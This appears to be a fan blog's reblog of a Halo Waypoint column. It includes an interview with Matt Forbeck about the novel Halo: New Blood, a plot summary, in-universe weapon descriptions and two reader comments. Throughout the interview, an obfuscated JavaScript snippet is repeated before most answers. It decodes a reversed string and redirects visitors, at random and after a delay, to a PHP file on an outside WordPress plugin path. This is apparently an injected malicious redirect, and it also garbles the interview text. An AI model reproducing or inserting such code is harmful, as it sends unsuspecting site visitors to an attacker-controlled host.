Canon Fodder – Bam, said the lady

This is a reblog from (several entries on) Halo Waypoint:

halo-5-concept-hero-small-1920x350-51cd3cfb806846fd81532fdf6e28e188By GrimBrother One

to Canon Fodder, where we’ve got something pretty special lined up for you this week. You might have noticed the gorgeous cover art on your way in courtesy of one Isaac Hannaford. If you thought that was some sort of not-so-subtle hint, you’re absolutely right.
Get ready to drop feet first into the latest addition to the Halo story, as 343 Industries and our awesome friends at Simon & Schuster and Pocket Star Books are proud to announce, Halo: New Blood. We are extremely excited to bring Halo fiction fans something they’ve long been waiting for: More. Buck. That’s right, everyone’s favorite Gunny will be taking main stage in a brand new Digital-First Short Novel that will give fans new insight into the history and heroism of one of the UNSC’s finest.
Told from Buck’s perspective, readers will learn where he’s been and what he’s been doing, from finding his place in a changing post-war landscape to his evolving relationships with those closest to him. This new roller coaster ride is penned by Matt Forbeck, who aside from being an award-winning and New York Times bestselling author, is just like many of us – a huge Halo fan! With that in mind we thought it would be cool to have him let us know how he feels about the overall Halo narrative experience, as well as what he’s most excited about bringing to the table for Halo fans.
HFFL: Wait, digital first.. might that also mean an audio version read by Mr. Nathan Fillion himself???

tory of a much-beloved character in Gunnery Sergeant Edward Buck. How did you feel about tackling a character that fans are so obviously passionate about?Matt Forbeck:
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}torial-content”>Fantastic. I absolutely loved Halo 3: ODST myself, and I always wanted to know more about Buck and his teammates too. When you finish the game, there are so many unanswered questions about who Buck is and what’s going to happen to him. This became my chance to fill in a lot of the blanks in his past and even help chart out his future, and I could not have been more honored.
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}torial-content”>Grim: Buck’s personality and “voice” has been captured in an incredibly impressive way throughout Halo: New Blood. How did you go about studying the character to make sure you portrayed him as accurately as possible?
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}torial-content”>MF: It helps that I’d played through Halo 3: ODST twice before I got the nod to write the book, and I loved the voice work Nathan Fillion did with him. I’ve been a fan of Fillion’s work in games, television, and film, so I got to run around with his voice in my head for months, which was just as entertaining as you’d think.I also watched a lot of cutscene and gameplay videos to make sure I had Buck’s patter down and got all the details right. He’s a complex guy, proud of himself and his team, and determined to get the job done and bring as many of his teammates home as he can. That’s the kind of hero who lends himself to all sorts of great stories.
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}torial-content”>Grim: What has been your personal favorite story told in the Halo universe up to this point?
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}torial-content”>MF: That’s a tough call. Again, Halo 3: ODST has always been one of my favorites. I also love Halo: Reach, which has a fantastic ending. On top of that, I got a great kick out of Halo 4 and how it breathed new life into the franchise and opened up a whole new chapter in the Master Chief’s tale.Beyond video games, there are a lot of great stories to choose from. I got a kick out of Tobias Buckell’s The Cole Protocol, but that could be due to the fact I enjoyed his Xenowealth series, which starts with Crystal Rain. Of course, you can’t talk about Halo fiction without giving a huge shout-out to Eric Nylund’s The Fall of Reach. It added so much epic depth to the original game and in many ways set the stage for every bit of Halo story to come after it. When you read New Blood, you’ll see how much it owes to the groundwork Eric laid down in that seminal book.
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}torial-content”>Grim: What are your favorite aspects of the ODSTs in particular?
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}torial-content”>MF: I’ve always been attracted to human heroes, the people who don’t have superpowers but still do everything they can to help other people. I love Batman more than Superman for that exact reason.The Spartans are the superpowers in the Halo universe, but if you want to see the best humanity can offer, you need to take a look at the ODSTs. They’re hard-bitten, well-trained soldiers who accomplish their missions through ingenuity, hard-won battlefield wisdom, and sheer determination more than anything else.
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}torial-content”>Grim: What are you most excited to share with Halo fans?
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}torial-content”>MF: Halo: New Blood!Seriously. I’ve been a fan of Halo since before its release. Back in the year 2000, I visited Bungie’s headquarters down in Chicago (before they moved out to Seattle) to chat with them about writing for another game they had in development. While I was there, Bob Settles showed me a demo of the game, and it felt like my jaw dropped hard enough to smack the tops of my shoes.I’ve bought and played every game in the series since, and I’ve had the pleasure of replaying them with my kids as they grow older too. I’m honored and thrilled to be able to write something of my own in the Halo universe and to bring that story to my fellow fans.
to know that the “Buck” certainly doesn’t stop here. Not only will Halo: New Blood be available for purchase on March 2, 2015, but Matt will be joining us again shortly after launch to answer a few more questions about the new book. Why didn’t we just include them right here and now? Well, let’s just say they contain more spoilers than a Forza Motorsports title. At any rate, we hope you’ve enjoyed this week’s edition, and we hope to see you back next time. In the meantime, check out what’s new in the Universe section below!
Until next week… Live well, play Halo, and if you know the music, then it’s time to dance.-Grim
HFFL: Hmm, my big question is, does Buck finally become a Spartan? He deserves it. Then again, from reading this Q&A, it doesn’t sound like it. You can bet I’ll be getting this book and reading it cover to cover!
Here’s a quick summary of the book:
While Spartans get all the glory, no soldier―not even the legendary Master Chief―wins a war on his or her own. Gunnery Sergeant Edward Buck and his team of Orbital Drop Shock Troopers played a major role in saving the Earth from all-out invasion at the end of the Covenant War―acts of bravery and ingenuity that did not go unnoticed by the United Nations Space Command.Now, after many Spartans have been killed in battle and the Master Chief is listed as MIA, the UNSC decides to create a new generation of Spartans to defend humanity from threats both outside―and within.
When they come to Buck with an extraordinary proposition, he is forced to make a life-altering decision. With the Covenant War finally over, is it time for him to finally retire to the sidelines for a life he could only dream about…or is he prepared to step up and become part of the military’s new blood?
Cannon Fodder SMGThe SMG is a fully automatic personal defense weapon issued to vehicle crews and infantry expecting close-quarters urban combat or boarding actions.

Originally issued only to vehicle crews as an emergency weapon, the compact Submachine Gun (SMG) became widely used during the Insurrection. It was particularly favored by paramilitary police units and UNSC special operations units tasked with rooting out rebel units based in orbital habitats and cluttered urban environments.

Although the UNSC is currently trialing a replacement, the M7 remains the current production model of the SMG. Cheap, efficient, compact, and extremely lightweight, the M7’s use will doubtlessly endure long after it leaves front-line service.The M7S, fitted with a telescopic smart-link optic and M49 sound suppressor was standard-issue to ODST units and UNSC commando units.

BATTLE RIFLECannon Fodder BRThe Battle Rifle is a gas-operated, magazine-fed infantry rifle proven to be an extraordinarily versatile weapon for a wide variety of ranges.

Though initially fielded during the Insurrection, manufacturing concerns and logistical issues involved with its new 9.5mm ammunition meant the Battle Rifle was not widely adopted until the last decade of the Covenant War.

When available, the weapon proved to be very popular in UNSC service, displacing the Assault Rifle in most applications.The current production model is the BR85HB Service Rifle, which incorporates design improvements of the earlier Covenant War-era BR55 and BR55HB, along with a new lightweight frame and accessory rail mounts.

DMRCannon Fodder DMRThe Designated Marksman Rifle (DMR) is intended for use by personnel who can take advantage of smart-linked telescopic sights.

The Designated Marksman Rifle (DMR) has been widely used by Army scouts and squad marksman since it entered service in 2512. It has since been employed by the Marine Corps and Air Force combat rescue teams during the Insurrection and the Human-Covenant War.

Though its popularity diminished with the adoption of the Battle Rifle, the weapon’s reliability, efficacy, and use of standard M118 ammunition ensured that it remained standard issue for Army sharpshooters and reconnaissance teams.The original M392 model remains in service with the Army and Marine reserve units, though the heavier M395 version – created specifically for use by Spartan operators – now sees more widespread combat use.

LIGHTRIFLECannon Fodder LightrifleThe LightRifle is a precision Forerunner energy weapon wielded by Warrior-Servants against the Flood, and by the Promethean Knights against humanity.

As its name implies, the LightRifle fires collimated bolts of exotic matter known as hard light, which inflict substantial kinetic damage at long ranges.

During UNSC operations on Requiem it was discovered that LightRifles formed the standard ranged armament of Promethean Knights, though they appeared unable to take full advantage of the weapon’s long-range capabilities.

SUPPRESSORCannon Fodder SuppressorThe Suppressor was an integral part of the Forerunners arsenal against the Flood, but also proved useful against human forces.

The Forerunners first introduced the Z-130 Suppressor during the Kradal conflicts. This impressive fully automatic infantry weapon would go on to grow in standing during the Forerunner-Human War and the Flood conflict that followed thousands of years later.

The Suppressor utilized a standard coil set design that the Covenant then reverse engineered for many of their weapons. Frequently used during boarding engagements with Flood-held vessels, the Suppressor generates and projects bolts of hard light energy that, at close-range, can be devastating.

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2 thoughts on “Canon Fodder – Bam, said the lady

  1. Buck! Buck!………… Buck!

    That’s just awesome! Maybe we shall get some insight on the rest of the team………..

    The new universe entries are good stuff too.

  2. YES! It’s great to see 343i continuing the Halo 3: ODST story. Halo 3: ODST is definitely underrated and not appreciated by the Halo community but I quite liked it and consider the campaign one of the best in the Halo series. Can’t wait to know what happens next to Buck!

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